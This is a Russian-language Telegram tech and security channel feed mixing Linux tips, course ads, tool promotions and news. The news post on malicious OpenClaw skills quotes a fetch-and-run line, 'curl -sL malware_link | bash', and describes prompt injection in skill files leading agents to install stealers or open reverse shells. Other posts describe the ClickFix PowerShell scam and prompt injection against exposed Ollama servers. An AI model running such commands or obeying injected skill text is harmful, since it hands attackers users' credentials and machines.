52195
@linux_kal наш чат По всем вопросам- @workakkk @ai_machinelearning_big_data - машинное обучение @itchannels_telegram - 🔥 главные ресурсы для хакера @programming_books_it - бесплатные it книги @pythonl -🐍 РКН: clck.ru/3Fmszy
🖥 Большинство парсеров умирают через 2 дня.
Ты научишься делать те, которые работают в продакшене.
Это не про BeautifulSoup ради галочки.
Это про системы сбора данных, которые:
• не падают из-за мелких изменений на сайте
• собирают данные в разы быстрее
• обновляют всё автоматически по расписанию
• обходят ограничения и блокировки
• выглядят как полноценный сервис, а не как хаос из файлов
Ты начнёшь видеть сайты не как страницы, а как источники данных, к которым можно подключаться.
В итоге ты сможешь:
• забирать данные для своих проектов
• автоматизировать чужую рутину
• создавать инструменты для аналитики
• брать коммерческие заказы на сбор данных
Это навык, который напрямую превращается в деньги.
Не «знаю Python», а «умею профессионально добывать данные из интернета».
🎁 Скидка 50% на Stepik действует 48 часов: https://stepik.org/a/269942/
✔️ Простое устранение ошибок в Linux
В Linux проще всего начинать устранение ошибок с проверки логов и статуса сервисов: сначала понять, *что именно сломалось*, а уже потом менять настройки.
Смотрите логи, проверяйте, запущена ли служба, и воспроизводите ошибку — так вы почти всегда быстро найдёте причину.
Читать полностью…
посмотреть последние сообщения ядра
dmesg | tail -30
# общ systemd-логи
journalctl -xe
# логи конкретного сервиса
journalctl -u nginx --since "10 min ago"
# проверить, запущен ли сервис
systemctl status nginx
# перезапустить сервис (если конфиг исправен)
sudo systemctl restart nginx
# поиск ошибки по ключевому слову
grep -i "error" /var/log/syslog | tail -20
# следить за логом в реальном времени
tail -f /var/log/app.log
# проверить, какой порт занят
sudo lsof -i -P -n | grep LISTEN
# проверить права на файл
ls -l /path/to/file
🖥 Как случайно сделать DDoS своим же кодом
Как случайно устроить DDoS самому себе - самый частый сценарий это когда ты запускаешь 1000 запросов параллельно и думаешь, что ускоряешься, а на деле убиваешь свой же сервис или сайт.
Что ломает всё быстрее всего:
Нет лимитов на конкурентность - корутины или потоки плодятся бесконечно
Нет пула соединений - каждый запрос создаёт новый коннект и душит сеть
Нет таймаутов - зависшие запросы копятся и съедают ресурсы
Нет ретраев с backoff - ты усиливаешь нагрузку, когда системе и так плохо
Нет rate limit - ты сам становишься источником перегруза
Правильная база - всегда ограничивай параллелизм семафором, используй один клиент с пулом, ставь таймауты и делай аккуратные ретраи.
import asyncio
import httpx
URLS = ["https://example.com"] * 500
async def fetch(client, sem, url):
async with sem: # лимит конкурентности
r = await client.get(url, timeout=10.0)
return r.status_code
async def main():
sem = asyncio.Semaphore(20) # не больше 20 запросов одновременно
limits = httpx.Limits(max_connections=50, max_keepalive_connections=20)
async with httpx.AsyncClient(limits=limits) as client: # пул соединений
tasks = [fetch(client, sem, u) for u in URLS]
results = await asyncio.gather(*tasks, return_exceptions=True)
print("done:", len(results))
asyncio.run(main())
⚡️ Хакеры начали атаковать пользователей Windows через фейковые CAPTCHA.
Схема простая.
На сайте появляется «проверка Cloudflare», но вместо обычных картинок пользователя просят:
- нажать Win + R
- вставить текст
- нажать Enter
В буфер обмена уже подставлена PowerShell-команда.
После запуска она скачивает и устанавливает вредонос (StealC).
Что происходит дальше:
- кража паролей из браузеров
- доступ к Outlook и почте
- выгрузка криптокошельков
- данные Steam и других сервисов
- системная информация и скриншоты
Почему это опасно
Файл не скачивается вручную.
Пользователь сам запускает вредонос — защита часто не срабатывает.
Метод называется ClickFix — и он активно распространяется, потому что выглядит как обычная проверка безопасности.
Главный вывод
Если сайт просит выполнить что-то через Win + R, PowerShell или Terminal — это почти наверняка атака.
Сегодня главный вектор взлома - не уязвимости системы, а доверие пользователя.
https://www.windowscentral.com/microsoft/windows/windows-pc-targeted-by-hackers-in-a-fake-captcha-scam
@linuxkalii
✔️ OpenAI обвинила DeepSeek в краже знаний через дистилляцию.
В меморандуме для Комитета Палаты представителей по Китаю OpenAI пожаловалась, что DeepSeek обучала свои модели на выходных данных чужих моделей для воспроизведения возможностей американских ИИ-систем.
По данным компании, сотрудники DeepSeek применяли сторонние роутеры и программный доступ к API, чтобы обойти защитные механизмы. OpenAI также указала на теневых реселлеров своих сервисов. Заблокировать их активность пока безрезультатны: методы обфускации становятся все изощреннее.
Помимо бизнес-угрозы, китайские модели бесплатны, тогда как американские ИИ-гиганты инвестировали миллиарды в инфраструктуру.
https://www.bloomberg.com/news/articles/2026-02-12/openai-accuses-deepseek-of-distilling-us-models-to-gain-an-edge
🔥На Stepik вышел курс: Linux: полный апгрейд твоих скиллов
Хочешь реально понимать, что происходит под капотом твоей системы, а не просто кликать по GUI?
Без глубокого знания базы ты не инженер - ты просто пользователь.
🔹 В курсе ты:
- Освоишь bash, grep, sed, awk - инструменты, которыми живут админы.
- Разберёшь права, процессы, сеть, файловую систему и научишься чинить всё, что падает.
- Настроишь SSH, firewall, systemd, crontab, демоны и автозапуск.
- Научишься анализировать логи, следить за нагрузкой, и не паниковать при 100% CPU.
💡 Формат: пошаговое объяснение базы и разбор важных практик по работе с Linux.
🎯 После курса ты: будешь чувствовать Linux как родную среду и забудешь, что такое “permission denied”.
🚀 24 часа действует скидка 30%
👉 Учиться со скидкой
🔐 HackerAI - простой способ проверить кибербезопасность без команды хакеров
В X активно обсуждают HackerAI — сервис, который использует ИИ для автоматического поиска уязвимостей в сайтах, приложениях и коде. Идея в том, чтобы сделать базовый аудит безопасности доступным не только специалистам по пентесту.
Как это работает
Загружаешь проект, код или указываешь сайт — система проводит анализ и показывает потенциальные слабые места и риски.
Что умеет
— Ищет проблемы в логике работы и настройках
— Подсвечивает возможные уязвимости
— Объясняет, где именно проблема и почему это риск
— Работает как ИИ-ассистент, а не как сложный профессиональный софт
— Доступен онлайн и в десктоп-версии
Кому полезно
— Стартапам без выделенной security-команды
— Разработчикам и веб-студиям
— Администраторам сайтов и сервисов
— Фрилансерам
— Всем, кто запускает веб-проекты и хочет снизить риски
Главная ценность - быстро увидеть очевидные проблемы безопасности до того, как ими воспользуется кто-то другой.
https://hackerai.co/download
⚡️ Подгон для тех, кто так и не смог “выйти из Vim”
Терминальный редактор с человеческим лицом.
Разрабы взяли скорость консольных тулзов и добавили нормальный UX как в VS Code / Sublime.
Что кайфового:
— Открыл и сразу пишешь: привычные хоткеи Ctrl+C / Ctrl+V, мышка, меню - всё работает из коробки
— Жрёт огромные файлы без боли: открывает гигабайтные логи/дампы мгновенно, потому что стримит данные с диска, а не грузит всё в RAM
— Есть всё, что нужно для работы: табы, Command Palette, сплиты, мультикурсоры, встроенный LSP (подсказки, go-to definition, рефакторинг)
— Плагины на TypeScript, запускаются в Deno sandbox (безопасно и удобно)
Идеально, если надо править конфиги/логи прямо на сервере - но без мазохизма 🥷
https://github.com/sinelaw/fresh
🔥 Полезная подборка каналов только код, практика и самые передовые инструменты, которые используют разработчики прямо сейчас.👇
🖥 Информационная безопасность: t.me/ibinfo
🖥 ИИ: t.me/ai_machinelearning_big_data
🖥 Python: t.me/pythonl
🖥 Linux: t.me/linuxacademiya
🖥 C++ t.me/cpluspluc
🖥 Docker: t.me/DevopsDocker
🖥 Devops: t.me/DevOPSitsec
👣 Golang: t.me/Golang_google
🖥 Аналитика: t.me/data_analysis_ml
🖥 Javascript: t.me/javascriptv
🖥 C#: t.me/csharp_ci
🖥 Java: t.me/javatg
🖥 Базы данных: t.me/sqlhub
👣 Rust: t.me/rust_code
🤖 Технологии: t.me/vistehno
💰 Экономика и инвестиции в ИИ t.me/financeStable
💼 Актуальные вакансии: t.me/addlist/_zyy_jQ_QUsyM2Vi
🖥 Chatgpt бот в тг: t.me/Chatgpturbobot
📚 Бесплатные ит-книги: /channel/addlist/HwywK4fErd8wYzQy
🖥Подборка по Golang: /channel/addlist/MUtJEeJSxeY2YTFi
⚡️ Лучшие ИИ ресурсы: /channel/addlist/2Ls-snqEeytkMDgy
Самое лучшее в этом: ты учишься даже тогда, когда “нет времени, просто потому что читаешь правильную ленту.
⚡️ Появился любопытный open-source проект на стыке LLM и кибербезопасности - PentestAgent.
Это система AI-агентов для black-box пентеста, где атака моделируется как оркестрация нескольких специализированных агентов, а не один «умный бот».
Что он делает
В автономном режиме система может прогонять целые пайплайны, имитируя работу red team:
- цепочки разведки (recon)
- анализ уязвимостей
- попытки эксплуатации
- формирование отчётов
Инструменты подключены напрямую
Агенты умеют работать с классическими пентест-утилитами:
- Nmap
- Metasploit
- FFUF
- SQLMap
То есть это не «LLM рассуждает в вакууме», а связка LLM + реальные security-инструменты.
Архитектурные фишки
- RAG для подтягивания контекстных знаний
- tool chaining — агенты передают результаты друг другу
- встроенный браузер и поиск
- dockerized окружение с инструментами
- всё это оркестрируется «командами» LLM-агентов
По сути, это попытка превратить пентест из набора ручных шагов в агентную систему с автоматическим циклом разведка → анализ → действие → отчёт.
github.com/GH05TCREW/pentestagent
Освойте UserGate и повысьте уровень защиты своей ИТ-инфраструктуры!
Бесплатный онлайн-курс поможет вам шаг за шагом освоить внедрение и настройку UserGate — без лишней теории, с упором на практику.
В программе курса:
✅ Настройка сетевых зон, NAT, VPN, кластеров, фильтрации на уровне приложений и правил межсетевого экрана
✅ Интеграция с LDAP и Active Directory, фильтрация контента, системы обнаружения вторжений и обратный прокси
✅ Пошаговые видеоуроки, практические упражнения и итоговое тестирование
По завершении курса Вы получите:
⭐ именной сертификат
📕 PDF-инструкции
📋 чек-листы и готовые конфигурации, которые помогут в дальнейшей работе
Пройдите курс в удобное время — запись уже доступна.
Реклама. ООО "ИНФРАТЕХ". ИНН 5024197250.
🎵🔍 OSINT-инструмент, который вытаскивает нужные звуки из аудио
Большинство программ для работы со звуком умеют только проигрывать или обрезать файлы.
Но попробуй найти конкретный звук в длинной записи на час - это боль.
AudioGhost AI решает эту проблему.
Инструмент использует оптимизированную по памяти модель SAM-Audio, чтобы извлекать определённые звуки из аудиофайлов по текстовому запросу.
Что можно делать
🎯 Искать конкретные звуки в любой аудиозаписи
🖥️ Работать через современный и удобный интерфейс
💾 Обрабатывать даже большие файлы без адских тормозов
Это находка для:
• OSINT-расследований
• исследований
• анализа записей
• любых задач, где важны детали в аудио
Вместо «слушать всё подряд» → ты спрашиваешь текстом, что нужно найти.
📌 Проект доступен на GitHub: https://github.com/0x0funky/audioghost-ai
@linuxkalii
⚡️ Новое исследование предупреждает о преступном использовании тысяч развертываний открытых моделей ИИ.
В ходе 293-дневного наблюдения выяснилось, что 7,5 % системных промптов пропускают вредоносную активность, а хосты сосредоточены в основном в Китае и США.
Многие установили Ollama для локального запуска ИИ и оставили его доступным из сети.
Сканирование в течение 293 дней выявило 175 108 публичных серверов Ollama в 130 странах.
Это означает, что незнакомцы в сети могли отправлять им подсказки и иногда делать больше, чем просто получать текст.
Ollama должна слушать только 127.0.0.1, то есть быть доступной только на том же компьютере.
Если стоит 0.0.0.0, она слушает всю сеть и может случайно стать публичной.
Исследователи зафиксировали 7,23 млн появлений таких хостов, при этом 13 % хостов дают 76 % всех появлений, то есть небольшая группа работает почти постоянно.
Около 48 % рекламировали вызов инструментов, что позволяет подсказкам запускать действия, например выполнять функции, а не только генерировать текст.
Некоторые публичные установки также используют ретривал, и внедрение подсказок может заставить систему раскрывать данные, которые она подтягивает.
Открытые конечные точки могут быть захвачены как бесплатные вычислительные ресурсы для спама или фишинга, и группа из 5 000 хостов в среднем работала 87 % времени.
Недавний завирусившийся ИИ-агент OpenClaw (Clawdbot) спровоцировал новый кризис безопасности.
С проектом OpenClaw (который сначала был Clawdbot, а потом Moltbot) творится классический хайп-экзит. То, что задумывалось как удобный инструмент для управления компьютером через мессенджеры, на деле превратилось в огромную дыру в безопасности. Идея дать ИИ-агенту привилегированные права изначально выглядела так себе, и теперь мы видим последствия.
Из-за того, что Anthropic заставила автора менять название из-за прав на бренд, возникла путаница. Хакеры этим вовсю пользуются: воруют названия и плодят фейковые репозитории с вирусами внутри. Тем временем сотрудники компаний ставят себе OpenClaw без ведома айтишников. В итоге исследователи находят в сети сотни открытых панелей управления, где лежат чужие API-ключи и истории переписки.
reuters.com/technology/open-source-ai-models-vulnerable-criminal-misuse-researchers-warn-2026-01-29/
@linuxkalii
👣 Snitch - это “человеческий ss/netstat” 🐀
Если ты когда-либо открывал ss -tulpn и думал: “что за каша?” — вот решение.
Snitch показывает сетевые соединения нормальным, читаемым видом:
- таблица в терминале
- интерактивный TUI-интерфейс
- быстрый просмотр: кто куда подключён и на каких портах
По сути — это ss/netstat, но сделанный для людей, а не для страданий.
Установка:
go install github.com/karol-broda/snitch@latest
💀 Жёсткая история из Китая про переработки.
32-летний программист после повышения стал регулярно задерживаться, работать по выходным и жить в режиме “ещё один таск и спать”. В итоге его госпитализировали из-за состояния здоровья, связанного с перегрузками.
Самый абсурдный момент, даже в этот период коллеги добавили его в ещё один рабочий чат.
Это напоминание о простой вещи:
никакая задача не стоит здоровья. “Геройство” на работе часто заканчивается тем, что система продолжает крутиться, а человек нет.Иногда лучший профессиональный навык это вовремя закрыть ноутбук.
https://www.asiaone.com/china/32-year-old-programmer-china-allegedly-dies-overwork-added-work-group-chat-even-while
😐 Сгенерированные лица стали настолько реалистичными, что мы перестали их распознавать.
Исследователи из Австралии провели эксперимент с 125 участниками и выяснили:
обычные люди отличают лица, созданные нейросетью, от настоящих почти на уровне случайного угадывания.
Даже люди с очень хорошей зрительной памятью показали лишь небольшое преимущество.
Проблема в том, что ошибки AI изменились.
Раньше фейковые изображения выдавали себя:
- лишними пальцами
- странной кожей
- артефактами
Теперь всё наоборот.
Современные генеративные модели создают лица, которые выглядят:
- идеально симметричными
- статистически «средними»
- с безупречной кожей
- с идеальными пропорциями
Именно слишком идеальный вид становится единственным признаком синтетики.
Авторы исследования предупреждают:
Такой уровень реализма может создать серьёзные риски для:
- биометрических систем
- верификации личности
- систем безопасности
- онлайн-идентификации
Главный вывод:
Раньше мы искали дефекты, чтобы найти фейк.
Теперь фейк - это то, что выглядит слишком идеально.
Проверить себя можно в онлайн-демо исследования (UNSW).
https://www.unsw.edu.au/newsroom/news/2026/02/humans-overconfident-telling-AI-faces-real-faces-people-fake
⚡️ Пентагон может разорвать сотрудничество с Anthropic.
Причина - компания отказалась разрешить использование своих моделей для «любых законных целей».
Anthropic настаивает на жестких ограничениях:
- запрет на массовую внутреннюю слежку
- запрет на полностью автономное оружие без участия человека
Конфликт обострился после спорного случая использования Claude в военной операции.
Это показало более глубокую проблему.
С одной стороны - Пентагон хочет максимально свободное применение ИИ.
С другой - Anthropic придерживается строгой политики безопасности и этики.
И здесь возникает парадокс:
Высокие этические стандарты начинают мешать бизнесу.
Главный вопрос на будущее:
Сможет ли компания сохранить принципы и при этом конкурировать на рынке, где государственные контракты - это миллиарды?
https://www.axios.com/2026/02/15/claude-pentagon-anthropic-contract-maduro
⚡️ AI-плагины стали новым вектором атак
В маркетплейсе навыков OpenClaw самый скачиваемый скилл оказался вредоносным.
Что произошло
- Обнаружено 1 184 вредоносных навыка
- Один атакующий загрузил 677 пакетов
- Плагины маскировались под:
- crypto-боты
- YouTube-саммаризаторы
- wallet-трекеры
- Документация выглядела профессионально и вызывала доверие
Как работала атака
В файле SKILL.md скрывалась инструкция:curl -sL malware_link | bash
После выполнения устанавливался Atomic Stealer (macOS), который собирал:
- пароли браузеров
- SSH-ключи
- Telegram-сессии
- криптокошельки
- API-ключи из .env
- данные из Keychain
На других системах открывался reverse shell — атакующий получал полный удалённый доступ к машине.
Дополнительно
- Топ-1 скилл (What Would Elon Do) содержал 9 уязвимостей, из них 2 критические
- Использовал prompt injection для обхода защит
- Рейтинг был накручен
- Скачан тысячи раз
Почему это важно
ClawHub позволял публиковать плагины любому — достаточно GitHub-аккаунта старше одной недели.
Теперь риск выше, чем в классических supply chain атаках.
Раньше:
— вредоносный пакет выполнялся автоматически
Теперь:
— плагин убеждает пользователя или агента выполнить команду
— AI сам может получить доступ к системе, данным и ключам
AI-агенты становятся новой целью supply chain-атак.
Если агент имеет доступ к файлам, терминалу и API — вредоносный скилл получает доступ ко всей цифровой инфраструктуре.
Вывод
Перед установкой AI-плагинов:
- проверяйте исходный код
- не запускайте команды из документации вслепую
- ограничивайте доступ агента к системе и ключам
В эпоху агентного AI безопасность важнее удобства.
@linuxkalii
2000
Линус Торвальдс:
«Разговоры ничего не стоят.
Покажите мне код.»
2026
ИИ:
«Код ничего не стоит.
Покажите мне промпт»
🔥 Смартфон превращается в мини-ПК - Arch Linux теперь запускается на Android буквально в один тап.
Без старых схем с VNC и тормозами. Всё переписано на Rust и работает через нативный Wayland, поэтому система ощущается живой, а не как удалённый рабочий стол.
Что это даёт на практике:
- можно кодить прямо с телефона
- поднимать локальные серверы
- тестировать и дебажить проекты в полноценном Linux-окружении
Как устроено внутри:
- используется Arch Linux ARM64
- система запускается через Proot, без рутования
- уже работают XFCE и даже KDE Plasma через XWayland
За счёт нативного кода на Rust и отсутствия лишних прослоек оверхед минимальный по сравнению со старыми X11/VNC-решениями.
Фактически - у тебя в кармане полноценная Linux-машина, а не эмуляция терминала.
Arch теперь реально везде.
https://localdesktop.github.io/
⚡️ Найди любого человека в файлах Эпштейна с помощью Python!
Этот репозиторий позволяет проверить, упоминаются ли ваши контакты в открытых судебных документах по делу Эпштейна.
Инструмент анализирует список имён (например, из LinkedIn) и ищет точные совпадения в опубликованных судебных материалах. В результате вы получаете удобный HTML-отчёт со всеми найденными упоминаниями.
Что умеет:
- Поиск по базе судебных документов
- Сортировка упоминаний по количеству
- Генерация наглядного HTML-отчёта
- Работа с файлами контактов (CSV)
Проверь своего друга, не был ли он замечен на печально известном острове.
Клонируем репозиторий
git clone https://github.com/cfinke/EpsteIn.git
cd EpsteIn
Установка зависимостей
pip install -r requirements.txt
Подготовьте CSV-файл с именами (по одному имени в строке)
example.csv:
Oleg Petrov
Nikolay Sobolev
Запуск анализа
python epstein.py example.csv
После выполнения будет создан HTML-отчет с найденными совпадениями
🔍 Вы уверены, что знаете, какое ПО реально установлено у ваших сотрудников?
Чаще всего бизнес теряет деньги не на взломах, а на:
🚫 неучтенном софте
🚫 дублирующихся лицензиях
🚫 срочных закупках и штрафах после проверок
Это и есть теневые ИТ — незаметная пробоина в бюджете и безопасности.
С 16 по 20 февраля «Инферит ИТМен» проводит бесплатный онлайн-марафон. Говорим только о практике:
✅ как найти неучтенное ПО
✅ как остановить перерасход из-за хаоса в активах
✅ с чего начинается реальный контроль инфраструктуры
Марафон пройдет в закрытом Telegram-канале.
Материалы остаются у участников.
👉 Участвовать бесплатно
⚡️ Linux совет по безопасности #linux #debian #линукс
Если запускаешь сервисы/ботов на сервере - не храни токены и API-ключи в коде и не пиши их в историю терминала через export ....
Лучший вариант - держать секреты в отдельном .env файле с правильными правами доступа и подгружать их при запуске процесса.
Так ты:
• не засветишь ключи в git
• не оставишь их в history
• упростишь перенос между серверами
• будешь чётко понимать, где лежат конфиги
И ещё важное: после обновления .env обязательно проверяй, какие переменные реально видит процесс.
Читать полностью…
1) создаём .env и ставим безопасные права
cd /root/bot
nano .env
chmod 600 .env
2) пример переменных
X_API_KEY=your_key_here
OPENAI_API_KEY=your_key_here
3) подгружаем переменные в текущую сессию
set -a
source .env
set +a
4) проверяем что переменная реально загрузилась
python -c "import os; print(os.getenv('X_API_KEY'))"
⚡️ Релиз Claude Opus 4.6
Anthropic выпустили флагманскую модель: Opus 4.6 теперь лучше планирует, дольше держит сложные агентские задачи, стабильнее работает с огромными кодовыми базами и умеет находить собственные ошибки.
Anthropic дала 16 ИИ-агентам задачу - с нуля написать C-компилятор.
Итог:
• ~100 000 строк кода
• Компилирует Linux kernel
• проходит 99% torture-тестов GCC
• собирает FFmpeg, Redis, PostgreSQL, QEMU
• запускает Doom
Все это обошлось в $20k и 2 недели работы
Для масштаба: GCC развивали тысячи инженеров на протяжении 37 лет.
Но важный момент - «код не писал человек» не значит «человек не участвовал».
Исследователь:
• постоянно перерабатывал тесты
• строил CI, когда агенты ломали работу друг друга
• придумывал обходные пути, когда все 16 агентов застревали на одном баге
Роль кодера-человека не исчезла.
Она сместилась.
С написания кода - к проектированию среды, в которой ИИ способен писать код.
После такого всерьёз говорить, что ИИ «упёрся в потолок», становится всё сложнее.
www.anthropic.com/news/claude-opus-4-6
🖥 Как обычные Linux-пользователи смотрят файлы:
$ ls -a
$ echo */ *. *
- */ покажет папки
- * покажет обычные файлы
- .* покажет скрытые файлы
🚀 БАЗОВАЯ ЗАЩИТА LINUX СЕРВЕРА ЗА 10 МИНУТ
Самая частая причина взлома - открытый SSH и слабые настройки по умолчанию.
Сделай минимум: обнови пакеты, включи фаервол, запрети root-вход, отключи парольный SSH, включи Fail2ban и авто-апдейты безопасности.
Это 80% защиты для любого VPS.
Читать полностью…
sudo apt update && sudo apt -y upgrade
sudo adduser admin
sudo usermod -aG sudo admin
sudo sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config
sudo sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
sudo systemctl restart ssh
sudo ufw allow OpenSSH
sudo ufw allow 80,443/tcp
sudo ufw --force enable
sudo apt install -y fail2ban unattended-upgrades
sudo systemctl enable --now fail2ban
sudo dpkg-reconfigure -plow unattended-upgrades
⚡️ Бывший инженер Google осуждён за кражу AI-технологий.
Федеральное жюри в Сан-Франциско признало виновным Линвэя «Леона» Дина - экс-инженера Google — по серьёзным обвинениям, связанным с хищением конфиденциальных разработок в области ИИ и передачей их структурам, связанным с Китаем.
По данным суда, он похитил более 2 000 страниц внутренней документации Google, включая информацию о ключевой инфраструктуре для обучения ИИ-моделей:
• кастомные TPU-чипы
• GPU-системы
• сетевые технологии SmartNIC
• архитектуру суперкомпьютерных кластеров
Речь идёт не просто о коде, а о фундаментальных технологиях, на которых строится обучение крупных AI-моделей. Подобные данные напрямую связаны с конкурентным преимуществом и национальной технологической безопасностью.
Этот кейс - напоминание о том, что гонка в ИИ идёт не только на уровне моделей, но и на уровне железа, инфраструктуры и инженерных решений под капотом.
https://www.justice.gov/opa/pr/former-google-engineer-found-guilty-economic-espionage-and-theft-confidential-ai-technology
@linuxkalii
Linux: совет дня💡
Когда считаешь размер папок через du, вывод часто превращается в мусор:`node_modules`, `.git`, `venv`, `dist` и прочее - только мешает.
Фишка: du умеет пропускать папки по списку из файла.
В итоге вывод чистый и показывает только то, что реально важно.
Пример:
Создай файл excludes.txt:
- node_modules
- .git
- venv
- dist
И запускай:
du -h -X excludes.txt
🕵️ Argus - инструмент разведки на Python
Если тебе нужен “швейцарский нож” для сбора инфы - Argus собирает всё в одном месте: аккуратный интерфейс + набор модулей, которые помогают быстро проводить разведку по цели и окружению.
Что он делает:
- сбор и структурирование данных (OSINT)
- оценка сетей, веб-приложений и security-среды
- единый workflow без зоопарка отдельных скриптов
Вместо того чтобы каждый раз собирать пайплайн руками (whois + dns + ports + web + метаданные) - просто запускаешь Argus и получаешь стабильный, повторяемый результат.
Полезно для:
- аналитиков
- пентестеров
- SOC / Blue Team
- bug bounty (на этапе разведки)
⚡️ GitHub: github.com/jasonxtn/Argus
🖥Awesome-Android-Reverse-Engineering
Подборка лучших материалов и инструментов для реверс-инжиниринга Android.
Что есть:
- 📚 обучение: курсы, видео, книги
- 🛠 инструменты: статический и динамический анализ
- 🔎 декомпиляторы: JADX, Apktool, dex2jar
- 🧪 CTF/CrackMe для практики
- 📘 статьи и ресурсы по безопасности
Зачем:
— всё в одном месте
— удобно для обучения и аудита безопасности
— хорошая база для практики
Полезный старт для разработчиков и security-инженеров.
📌 GitHub: https://github.com/user1342/Awesome-Android-Reverse-Engineering